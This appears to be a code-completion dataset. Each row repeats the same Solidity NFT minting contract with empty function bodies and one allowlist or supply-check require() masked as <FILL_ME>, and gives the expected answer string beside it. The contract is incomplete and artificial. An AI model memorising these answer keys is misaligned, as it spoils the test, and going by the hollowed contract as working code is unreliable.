Counters.Counter private _tokenIdCounter;
Counters.Counter private _guaranteedAllowListMintedCounter;
Counters.Counter private _oversubscribedAllowListMintedCounter;
/// @dev Different states of minting
enum MintState {
PAUSED, // Minting is paused
GUARANTEED, // Guaranteed allow list
OVERSUBSCRIBED, // General allow list
PUBLIC, // Open to public
REVEALED
}
MintState public mintState;
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxRedeemed(address indexed ownerAddress, uint256 indexed tokenId);
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxBatchRedeemed(address indexed ownerAddress, uint256 indexed redeemedCount, uint256[] tokenId);
constructor(string memory uri) ERC721("Burn Ghost Bounty Box", "BGBB") {
}
/// Base uri functions
///@notice Returns the base uri
///@return Base uri
function _baseURI() internal view override returns (string memory) {
}
///@notice Sets a new base uri
///@dev Only callable by owner
///@param newBaseURI The new base uri
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
///@notice Returns the token uri
///@dev Updated to include json
///@param tokenId Token id
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Minting functions
///@notice Mints box token for allowed list addresses
///@dev Uses Merkle tree proof
///@param proof The Merkle tree proof of the allow list address
function mintBox(bytes32[] calldata proof) external {
/// Check if the sale is paused
require(mintState == MintState.GUARANTEED || mintState == MintState.OVERSUBSCRIBED, "BGBB: Not in allowlist minting states");
require(_tokenIdCounter.current() < maxSupply, "BGBB: Max supply minted");
/// Check if user is on the allow list
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(_msgSender()))));
/// Update the root based on the state
bytes32 root;
// If current state is for guaranteed mints, set to the guaranteed hash
if (mintState == MintState.GUARANTEED) {
/// Set the correct root hash
root = rootForGuaranteed;
/// Check that user has not minted on guaranteed list
require(<FILL_ME>)
// Check there is sufficient guaranteed mint supply left
require(totalGuaranteedAllowListMinted() < guaranteed, "BGBB: Max guaranteed supply minted");
/// Increase the allow list minted count
_guaranteedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnGuaranteed[_msgSender()] = true;
}
// If current state is for oversubscribed, set to the oversubscribed hash
if (mintState == MintState.OVERSUBSCRIBED) {
/// Set the correct root hash
root = rootForOversubscribed;
/// Check that user has not minted on oversubscribed list
require(mintedOnOversubscribed[_msgSender()] == false, "BGBB: User already minted on oversubscribed list");
/// Check there is sufficient oversubscribed supply left
/// Balance for oversubscribed mint = max supply minus reserved and guaranteed count
require(totalOversubscribedAllowListMinted() < maxSupply - reserved - guaranteed, "BGBB: Max allow list supply minted");
_oversubscribedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnOversubscribed[_msgSender()] = true;
}
// Check the merkle proof
require(MerkleProof.verify(proof, root, leaf), "BGBB: Invalid proof");
/// Get current token id then increase it
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
/// Mint the token
_safeMint(_msgSender(), tokenId);
}
///@notice Mints a token to caller addresses
function publicMintBox() external {
}
///@notice Redeem a bounty box
///@param tokenId Token id of bounty box to redeem
function redeem(uint256 tokenId) external virtual {
}
///@notice Redeem a batch of bounty boxes
///@param tokenIds Token ids of bounty box to redeem
function batchRedeem(uint256[] memory tokenIds) external virtual {
}
///@notice Mint from reserve supply
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function mintFromReserve(address[] calldata to) external onlyOwner {
}
///@notice Airdrops a token to users from the remaining supply (without reserved supply)
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function airdrop(address[] calldata to) external onlyOwner {
}
/// Other view and admin functions
/// Verification functions
///@notice Returns the current Merkle tree root hash based on a given state
///@dev Only callable by owner
///@param _mintState The state of the mint to query the root hash for
function getRootHash(MintState _mintState) external view onlyOwner returns(bytes32) {
}
///@notice Sets a new Merkle tree root hash
///@dev Only callable by owner
///@param _root The new merkle tree root hash
///@param _mintState The state of the mint to set the root hash for
function setRootHash(bytes32 _root, MintState _mintState) external onlyOwner {
}
///@notice Returns the total number of boxes minted
function totalMinted() public view returns(uint256) {
}
///@notice Returns the current number of guaranteed allow list minted
function totalGuaranteedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the current number of oversubscribed allow list minted
function totalOversubscribedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the total allow list minted
function totalAllowListMinted() public view returns(uint256) {
}
///@notice Function to update the reveal flag
///@param newState The new mint state to set
function setMintState(MintState newState) external onlyOwner{
}
///@notice Function to update guaranteed mint count
///@param count New guaranteed mint count
function setGuaranteedCount(uint256 count) external onlyOwner {
}
///@notice Function to update reserved mint count
///@param count New reserved mint count
function setReservedCount(uint256 count) external onlyOwner {
}
///@dev Overrides for DefaultOperatorRegistry
function setApprovalForAll(address operator, bool approved) public override(ERC721) {
}
function approve(address operator, uint256 tokenId) public override(ERC721) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(ERC721)
{
}
}
| mintedOnGuaranteed[_msgSender()]==false,"BGBB: User already minted on guaranteed list" | 69,478 | mintedOnGuaranteed[_msgSender()]==false |
"BGBB: Max guaranteed supply minted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title Burn Ghost Bounty Box
/// @notice This is Burn Ghost's Bounty Box ERC721 NFT contract
/// @dev This contract uses OpenZeppelin's library and includes OpenSea's on-chain enforcement tool for royalties
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract BurnGhostBountyBox is ERC721, Ownable {
/// @notice The base uri of the project
string public baseURI;
/// @notice The collection's max supply
uint256 public maxSupply = 1000;
/// @notice Total reserved by the Burn Ghost team
uint256 public reserved;
/// @notice Total guaranteed mint count
uint256 public guaranteed;
/// @dev Merkle tree root hash for guaranteed list
bytes32 private rootForGuaranteed;
/// @dev Merkle tree root hash for allowed list
bytes32 private rootForOversubscribed;
/// @dev Mapping to check if an address has already minted to avoid double mints on allow list mints
mapping(address => bool) mintedOnGuaranteed;
mapping(address => bool) mintedOnOversubscribed;
/// @dev Counters library to track token id and counts
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
Counters.Counter private _guaranteedAllowListMintedCounter;
Counters.Counter private _oversubscribedAllowListMintedCounter;
/// @dev Different states of minting
enum MintState {
PAUSED, // Minting is paused
GUARANTEED, // Guaranteed allow list
OVERSUBSCRIBED, // General allow list
PUBLIC, // Open to public
REVEALED
}
MintState public mintState;
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxRedeemed(address indexed ownerAddress, uint256 indexed tokenId);
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxBatchRedeemed(address indexed ownerAddress, uint256 indexed redeemedCount, uint256[] tokenId);
constructor(string memory uri) ERC721("Burn Ghost Bounty Box", "BGBB") {
}
/// Base uri functions
///@notice Returns the base uri
///@return Base uri
function _baseURI() internal view override returns (string memory) {
}
///@notice Sets a new base uri
///@dev Only callable by owner
///@param newBaseURI The new base uri
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
///@notice Returns the token uri
///@dev Updated to include json
///@param tokenId Token id
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Minting functions
///@notice Mints box token for allowed list addresses
///@dev Uses Merkle tree proof
///@param proof The Merkle tree proof of the allow list address
function mintBox(bytes32[] calldata proof) external {
/// Check if the sale is paused
require(mintState == MintState.GUARANTEED || mintState == MintState.OVERSUBSCRIBED, "BGBB: Not in allowlist minting states");
require(_tokenIdCounter.current() < maxSupply, "BGBB: Max supply minted");
/// Check if user is on the allow list
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(_msgSender()))));
/// Update the root based on the state
bytes32 root;
// If current state is for guaranteed mints, set to the guaranteed hash
if (mintState == MintState.GUARANTEED) {
/// Set the correct root hash
root = rootForGuaranteed;
/// Check that user has not minted on guaranteed list
require(mintedOnGuaranteed[_msgSender()] == false, "BGBB: User already minted on guaranteed list");
// Check there is sufficient guaranteed mint supply left
require(<FILL_ME>)
/// Increase the allow list minted count
_guaranteedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnGuaranteed[_msgSender()] = true;
}
// If current state is for oversubscribed, set to the oversubscribed hash
if (mintState == MintState.OVERSUBSCRIBED) {
/// Set the correct root hash
root = rootForOversubscribed;
/// Check that user has not minted on oversubscribed list
require(mintedOnOversubscribed[_msgSender()] == false, "BGBB: User already minted on oversubscribed list");
/// Check there is sufficient oversubscribed supply left
/// Balance for oversubscribed mint = max supply minus reserved and guaranteed count
require(totalOversubscribedAllowListMinted() < maxSupply - reserved - guaranteed, "BGBB: Max allow list supply minted");
_oversubscribedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnOversubscribed[_msgSender()] = true;
}
// Check the merkle proof
require(MerkleProof.verify(proof, root, leaf), "BGBB: Invalid proof");
/// Get current token id then increase it
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
/// Mint the token
_safeMint(_msgSender(), tokenId);
}
///@notice Mints a token to caller addresses
function publicMintBox() external {
}
///@notice Redeem a bounty box
///@param tokenId Token id of bounty box to redeem
function redeem(uint256 tokenId) external virtual {
}
///@notice Redeem a batch of bounty boxes
///@param tokenIds Token ids of bounty box to redeem
function batchRedeem(uint256[] memory tokenIds) external virtual {
}
///@notice Mint from reserve supply
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function mintFromReserve(address[] calldata to) external onlyOwner {
}
///@notice Airdrops a token to users from the remaining supply (without reserved supply)
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function airdrop(address[] calldata to) external onlyOwner {
}
/// Other view and admin functions
/// Verification functions
///@notice Returns the current Merkle tree root hash based on a given state
///@dev Only callable by owner
///@param _mintState The state of the mint to query the root hash for
function getRootHash(MintState _mintState) external view onlyOwner returns(bytes32) {
}
///@notice Sets a new Merkle tree root hash
///@dev Only callable by owner
///@param _root The new merkle tree root hash
///@param _mintState The state of the mint to set the root hash for
function setRootHash(bytes32 _root, MintState _mintState) external onlyOwner {
}
///@notice Returns the total number of boxes minted
function totalMinted() public view returns(uint256) {
}
///@notice Returns the current number of guaranteed allow list minted
function totalGuaranteedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the current number of oversubscribed allow list minted
function totalOversubscribedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the total allow list minted
function totalAllowListMinted() public view returns(uint256) {
}
///@notice Function to update the reveal flag
///@param newState The new mint state to set
function setMintState(MintState newState) external onlyOwner{
}
///@notice Function to update guaranteed mint count
///@param count New guaranteed mint count
function setGuaranteedCount(uint256 count) external onlyOwner {
}
///@notice Function to update reserved mint count
///@param count New reserved mint count
function setReservedCount(uint256 count) external onlyOwner {
}
///@dev Overrides for DefaultOperatorRegistry
function setApprovalForAll(address operator, bool approved) public override(ERC721) {
}
function approve(address operator, uint256 tokenId) public override(ERC721) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(ERC721)
{
}
}
| totalGuaranteedAllowListMinted()<guaranteed,"BGBB: Max guaranteed supply minted" | 69,478 | totalGuaranteedAllowListMinted()<guaranteed |
"BGBB: User already minted on oversubscribed list" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title Burn Ghost Bounty Box
/// @notice This is Burn Ghost's Bounty Box ERC721 NFT contract
/// @dev This contract uses OpenZeppelin's library and includes OpenSea's on-chain enforcement tool for royalties
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract BurnGhostBountyBox is ERC721, Ownable {
/// @notice The base uri of the project
string public baseURI;
/// @notice The collection's max supply
uint256 public maxSupply = 1000;
/// @notice Total reserved by the Burn Ghost team
uint256 public reserved;
/// @notice Total guaranteed mint count
uint256 public guaranteed;
/// @dev Merkle tree root hash for guaranteed list
bytes32 private rootForGuaranteed;
/// @dev Merkle tree root hash for allowed list
bytes32 private rootForOversubscribed;
/// @dev Mapping to check if an address has already minted to avoid double mints on allow list mints
mapping(address => bool) mintedOnGuaranteed;
mapping(address => bool) mintedOnOversubscribed;
/// @dev Counters library to track token id and counts
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
Counters.Counter private _guaranteedAllowListMintedCounter;
Counters.Counter private _oversubscribedAllowListMintedCounter;
/// @dev Different states of minting
enum MintState {
PAUSED, // Minting is paused
GUARANTEED, // Guaranteed allow list
OVERSUBSCRIBED, // General allow list
PUBLIC, // Open to public
REVEALED
}
MintState public mintState;
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxRedeemed(address indexed ownerAddress, uint256 indexed tokenId);
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxBatchRedeemed(address indexed ownerAddress, uint256 indexed redeemedCount, uint256[] tokenId);
constructor(string memory uri) ERC721("Burn Ghost Bounty Box", "BGBB") {
}
/// Base uri functions
///@notice Returns the base uri
///@return Base uri
function _baseURI() internal view override returns (string memory) {
}
///@notice Sets a new base uri
///@dev Only callable by owner
///@param newBaseURI The new base uri
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
///@notice Returns the token uri
///@dev Updated to include json
///@param tokenId Token id
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Minting functions
///@notice Mints box token for allowed list addresses
///@dev Uses Merkle tree proof
///@param proof The Merkle tree proof of the allow list address
function mintBox(bytes32[] calldata proof) external {
/// Check if the sale is paused
require(mintState == MintState.GUARANTEED || mintState == MintState.OVERSUBSCRIBED, "BGBB: Not in allowlist minting states");
require(_tokenIdCounter.current() < maxSupply, "BGBB: Max supply minted");
/// Check if user is on the allow list
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(_msgSender()))));
/// Update the root based on the state
bytes32 root;
// If current state is for guaranteed mints, set to the guaranteed hash
if (mintState == MintState.GUARANTEED) {
/// Set the correct root hash
root = rootForGuaranteed;
/// Check that user has not minted on guaranteed list
require(mintedOnGuaranteed[_msgSender()] == false, "BGBB: User already minted on guaranteed list");
// Check there is sufficient guaranteed mint supply left
require(totalGuaranteedAllowListMinted() < guaranteed, "BGBB: Max guaranteed supply minted");
/// Increase the allow list minted count
_guaranteedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnGuaranteed[_msgSender()] = true;
}
// If current state is for oversubscribed, set to the oversubscribed hash
if (mintState == MintState.OVERSUBSCRIBED) {
/// Set the correct root hash
root = rootForOversubscribed;
/// Check that user has not minted on oversubscribed list
require(<FILL_ME>)
/// Check there is sufficient oversubscribed supply left
/// Balance for oversubscribed mint = max supply minus reserved and guaranteed count
require(totalOversubscribedAllowListMinted() < maxSupply - reserved - guaranteed, "BGBB: Max allow list supply minted");
_oversubscribedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnOversubscribed[_msgSender()] = true;
}
// Check the merkle proof
require(MerkleProof.verify(proof, root, leaf), "BGBB: Invalid proof");
/// Get current token id then increase it
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
/// Mint the token
_safeMint(_msgSender(), tokenId);
}
///@notice Mints a token to caller addresses
function publicMintBox() external {
}
///@notice Redeem a bounty box
///@param tokenId Token id of bounty box to redeem
function redeem(uint256 tokenId) external virtual {
}
///@notice Redeem a batch of bounty boxes
///@param tokenIds Token ids of bounty box to redeem
function batchRedeem(uint256[] memory tokenIds) external virtual {
}
///@notice Mint from reserve supply
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function mintFromReserve(address[] calldata to) external onlyOwner {
}
///@notice Airdrops a token to users from the remaining supply (without reserved supply)
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function airdrop(address[] calldata to) external onlyOwner {
}
/// Other view and admin functions
/// Verification functions
///@notice Returns the current Merkle tree root hash based on a given state
///@dev Only callable by owner
///@param _mintState The state of the mint to query the root hash for
function getRootHash(MintState _mintState) external view onlyOwner returns(bytes32) {
}
///@notice Sets a new Merkle tree root hash
///@dev Only callable by owner
///@param _root The new merkle tree root hash
///@param _mintState The state of the mint to set the root hash for
function setRootHash(bytes32 _root, MintState _mintState) external onlyOwner {
}
///@notice Returns the total number of boxes minted
function totalMinted() public view returns(uint256) {
}
///@notice Returns the current number of guaranteed allow list minted
function totalGuaranteedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the current number of oversubscribed allow list minted
function totalOversubscribedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the total allow list minted
function totalAllowListMinted() public view returns(uint256) {
}
///@notice Function to update the reveal flag
///@param newState The new mint state to set
function setMintState(MintState newState) external onlyOwner{
}
///@notice Function to update guaranteed mint count
///@param count New guaranteed mint count
function setGuaranteedCount(uint256 count) external onlyOwner {
}
///@notice Function to update reserved mint count
///@param count New reserved mint count
function setReservedCount(uint256 count) external onlyOwner {
}
///@dev Overrides for DefaultOperatorRegistry
function setApprovalForAll(address operator, bool approved) public override(ERC721) {
}
function approve(address operator, uint256 tokenId) public override(ERC721) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(ERC721)
{
}
}
| mintedOnOversubscribed[_msgSender()]==false,"BGBB: User already minted on oversubscribed list" | 69,478 | mintedOnOversubscribed[_msgSender()]==false |
"BGBB: Max allow list supply minted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title Burn Ghost Bounty Box
/// @notice This is Burn Ghost's Bounty Box ERC721 NFT contract
/// @dev This contract uses OpenZeppelin's library and includes OpenSea's on-chain enforcement tool for royalties
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract BurnGhostBountyBox is ERC721, Ownable {
/// @notice The base uri of the project
string public baseURI;
/// @notice The collection's max supply
uint256 public maxSupply = 1000;
/// @notice Total reserved by the Burn Ghost team
uint256 public reserved;
/// @notice Total guaranteed mint count
uint256 public guaranteed;
/// @dev Merkle tree root hash for guaranteed list
bytes32 private rootForGuaranteed;
/// @dev Merkle tree root hash for allowed list
bytes32 private rootForOversubscribed;
/// @dev Mapping to check if an address has already minted to avoid double mints on allow list mints
mapping(address => bool) mintedOnGuaranteed;
mapping(address => bool) mintedOnOversubscribed;
/// @dev Counters library to track token id and counts
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
Counters.Counter private _guaranteedAllowListMintedCounter;
Counters.Counter private _oversubscribedAllowListMintedCounter;
/// @dev Different states of minting
enum MintState {
PAUSED, // Minting is paused
GUARANTEED, // Guaranteed allow list
OVERSUBSCRIBED, // General allow list
PUBLIC, // Open to public
REVEALED
}
MintState public mintState;
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxRedeemed(address indexed ownerAddress, uint256 indexed tokenId);
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxBatchRedeemed(address indexed ownerAddress, uint256 indexed redeemedCount, uint256[] tokenId);
constructor(string memory uri) ERC721("Burn Ghost Bounty Box", "BGBB") {
}
/// Base uri functions
///@notice Returns the base uri
///@return Base uri
function _baseURI() internal view override returns (string memory) {
}
///@notice Sets a new base uri
///@dev Only callable by owner
///@param newBaseURI The new base uri
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
///@notice Returns the token uri
///@dev Updated to include json
///@param tokenId Token id
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Minting functions
///@notice Mints box token for allowed list addresses
///@dev Uses Merkle tree proof
///@param proof The Merkle tree proof of the allow list address
function mintBox(bytes32[] calldata proof) external {
/// Check if the sale is paused
require(mintState == MintState.GUARANTEED || mintState == MintState.OVERSUBSCRIBED, "BGBB: Not in allowlist minting states");
require(_tokenIdCounter.current() < maxSupply, "BGBB: Max supply minted");
/// Check if user is on the allow list
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(_msgSender()))));
/// Update the root based on the state
bytes32 root;
// If current state is for guaranteed mints, set to the guaranteed hash
if (mintState == MintState.GUARANTEED) {
/// Set the correct root hash
root = rootForGuaranteed;
/// Check that user has not minted on guaranteed list
require(mintedOnGuaranteed[_msgSender()] == false, "BGBB: User already minted on guaranteed list");
// Check there is sufficient guaranteed mint supply left
require(totalGuaranteedAllowListMinted() < guaranteed, "BGBB: Max guaranteed supply minted");
/// Increase the allow list minted count
_guaranteedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnGuaranteed[_msgSender()] = true;
}
// If current state is for oversubscribed, set to the oversubscribed hash
if (mintState == MintState.OVERSUBSCRIBED) {
/// Set the correct root hash
root = rootForOversubscribed;
/// Check that user has not minted on oversubscribed list
require(mintedOnOversubscribed[_msgSender()] == false, "BGBB: User already minted on oversubscribed list");
/// Check there is sufficient oversubscribed supply left
/// Balance for oversubscribed mint = max supply minus reserved and guaranteed count
require(<FILL_ME>)
_oversubscribedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnOversubscribed[_msgSender()] = true;
}
// Check the merkle proof
require(MerkleProof.verify(proof, root, leaf), "BGBB: Invalid proof");
/// Get current token id then increase it
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
/// Mint the token
_safeMint(_msgSender(), tokenId);
}
///@notice Mints a token to caller addresses
function publicMintBox() external {
}
///@notice Redeem a bounty box
///@param tokenId Token id of bounty box to redeem
function redeem(uint256 tokenId) external virtual {
}
///@notice Redeem a batch of bounty boxes
///@param tokenIds Token ids of bounty box to redeem
function batchRedeem(uint256[] memory tokenIds) external virtual {
}
///@notice Mint from reserve supply
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function mintFromReserve(address[] calldata to) external onlyOwner {
}
///@notice Airdrops a token to users from the remaining supply (without reserved supply)
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function airdrop(address[] calldata to) external onlyOwner {
}
/// Other view and admin functions
/// Verification functions
///@notice Returns the current Merkle tree root hash based on a given state
///@dev Only callable by owner
///@param _mintState The state of the mint to query the root hash for
function getRootHash(MintState _mintState) external view onlyOwner returns(bytes32) {
}
///@notice Sets a new Merkle tree root hash
///@dev Only callable by owner
///@param _root The new merkle tree root hash
///@param _mintState The state of the mint to set the root hash for
function setRootHash(bytes32 _root, MintState _mintState) external onlyOwner {
}
///@notice Returns the total number of boxes minted
function totalMinted() public view returns(uint256) {
}
///@notice Returns the current number of guaranteed allow list minted
function totalGuaranteedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the current number of oversubscribed allow list minted
function totalOversubscribedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the total allow list minted
function totalAllowListMinted() public view returns(uint256) {
}
///@notice Function to update the reveal flag
///@param newState The new mint state to set
function setMintState(MintState newState) external onlyOwner{
}
///@notice Function to update guaranteed mint count
///@param count New guaranteed mint count
function setGuaranteedCount(uint256 count) external onlyOwner {
}
///@notice Function to update reserved mint count
///@param count New reserved mint count
function setReservedCount(uint256 count) external onlyOwner {
}
///@dev Overrides for DefaultOperatorRegistry
function setApprovalForAll(address operator, bool approved) public override(ERC721) {
}
function approve(address operator, uint256 tokenId) public override(ERC721) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(ERC721)
{
}
}
| totalOversubscribedAllowListMinted()<maxSupply-reserved-guaranteed,"BGBB: Max allow list supply minted" | 69,478 | totalOversubscribedAllowListMinted()<maxSupply-reserved-guaranteed |
"BGBB: Invalid proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title Burn Ghost Bounty Box
/// @notice This is Burn Ghost's Bounty Box ERC721 NFT contract
/// @dev This contract uses OpenZeppelin's library and includes OpenSea's on-chain enforcement tool for royalties
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract BurnGhostBountyBox is ERC721, Ownable {
/// @notice The base uri of the project
string public baseURI;
/// @notice The collection's max supply
uint256 public maxSupply = 1000;
/// @notice Total reserved by the Burn Ghost team
uint256 public reserved;
/// @notice Total guaranteed mint count
uint256 public guaranteed;
/// @dev Merkle tree root hash for guaranteed list
bytes32 private rootForGuaranteed;
/// @dev Merkle tree root hash for allowed list
bytes32 private rootForOversubscribed;
/// @dev Mapping to check if an address has already minted to avoid double mints on allow list mints
mapping(address => bool) mintedOnGuaranteed;
mapping(address => bool) mintedOnOversubscribed;
/// @dev Counters library to track token id and counts
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
Counters.Counter private _guaranteedAllowListMintedCounter;
Counters.Counter private _oversubscribedAllowListMintedCounter;
/// @dev Different states of minting
enum MintState {
PAUSED, // Minting is paused
GUARANTEED, // Guaranteed allow list
OVERSUBSCRIBED, // General allow list
PUBLIC, // Open to public
REVEALED
}
MintState public mintState;
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxRedeemed(address indexed ownerAddress, uint256 indexed tokenId);
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxBatchRedeemed(address indexed ownerAddress, uint256 indexed redeemedCount, uint256[] tokenId);
constructor(string memory uri) ERC721("Burn Ghost Bounty Box", "BGBB") {
}
/// Base uri functions
///@notice Returns the base uri
///@return Base uri
function _baseURI() internal view override returns (string memory) {
}
///@notice Sets a new base uri
///@dev Only callable by owner
///@param newBaseURI The new base uri
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
///@notice Returns the token uri
///@dev Updated to include json
///@param tokenId Token id
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Minting functions
///@notice Mints box token for allowed list addresses
///@dev Uses Merkle tree proof
///@param proof The Merkle tree proof of the allow list address
function mintBox(bytes32[] calldata proof) external {
/// Check if the sale is paused
require(mintState == MintState.GUARANTEED || mintState == MintState.OVERSUBSCRIBED, "BGBB: Not in allowlist minting states");
require(_tokenIdCounter.current() < maxSupply, "BGBB: Max supply minted");
/// Check if user is on the allow list
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(_msgSender()))));
/// Update the root based on the state
bytes32 root;
// If current state is for guaranteed mints, set to the guaranteed hash
if (mintState == MintState.GUARANTEED) {
/// Set the correct root hash
root = rootForGuaranteed;
/// Check that user has not minted on guaranteed list
require(mintedOnGuaranteed[_msgSender()] == false, "BGBB: User already minted on guaranteed list");
// Check there is sufficient guaranteed mint supply left
require(totalGuaranteedAllowListMinted() < guaranteed, "BGBB: Max guaranteed supply minted");
/// Increase the allow list minted count
_guaranteedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnGuaranteed[_msgSender()] = true;
}
// If current state is for oversubscribed, set to the oversubscribed hash
if (mintState == MintState.OVERSUBSCRIBED) {
/// Set the correct root hash
root = rootForOversubscribed;
/// Check that user has not minted on oversubscribed list
require(mintedOnOversubscribed[_msgSender()] == false, "BGBB: User already minted on oversubscribed list");
/// Check there is sufficient oversubscribed supply left
/// Balance for oversubscribed mint = max supply minus reserved and guaranteed count
require(totalOversubscribedAllowListMinted() < maxSupply - reserved - guaranteed, "BGBB: Max allow list supply minted");
_oversubscribedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnOversubscribed[_msgSender()] = true;
}
// Check the merkle proof
require(<FILL_ME>)
/// Get current token id then increase it
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
/// Mint the token
_safeMint(_msgSender(), tokenId);
}
///@notice Mints a token to caller addresses
function publicMintBox() external {
}
///@notice Redeem a bounty box
///@param tokenId Token id of bounty box to redeem
function redeem(uint256 tokenId) external virtual {
}
///@notice Redeem a batch of bounty boxes
///@param tokenIds Token ids of bounty box to redeem
function batchRedeem(uint256[] memory tokenIds) external virtual {
}
///@notice Mint from reserve supply
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function mintFromReserve(address[] calldata to) external onlyOwner {
}
///@notice Airdrops a token to users from the remaining supply (without reserved supply)
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function airdrop(address[] calldata to) external onlyOwner {
}
/// Other view and admin functions
/// Verification functions
///@notice Returns the current Merkle tree root hash based on a given state
///@dev Only callable by owner
///@param _mintState The state of the mint to query the root hash for
function getRootHash(MintState _mintState) external view onlyOwner returns(bytes32) {
}
///@notice Sets a new Merkle tree root hash
///@dev Only callable by owner
///@param _root The new merkle tree root hash
///@param _mintState The state of the mint to set the root hash for
function setRootHash(bytes32 _root, MintState _mintState) external onlyOwner {
}
///@notice Returns the total number of boxes minted
function totalMinted() public view returns(uint256) {
}
///@notice Returns the current number of guaranteed allow list minted
function totalGuaranteedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the current number of oversubscribed allow list minted
function totalOversubscribedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the total allow list minted
function totalAllowListMinted() public view returns(uint256) {
}
///@notice Function to update the reveal flag
///@param newState The new mint state to set
function setMintState(MintState newState) external onlyOwner{
}
///@notice Function to update guaranteed mint count
///@param count New guaranteed mint count
function setGuaranteedCount(uint256 count) external onlyOwner {
}
///@notice Function to update reserved mint count
///@param count New reserved mint count
function setReservedCount(uint256 count) external onlyOwner {
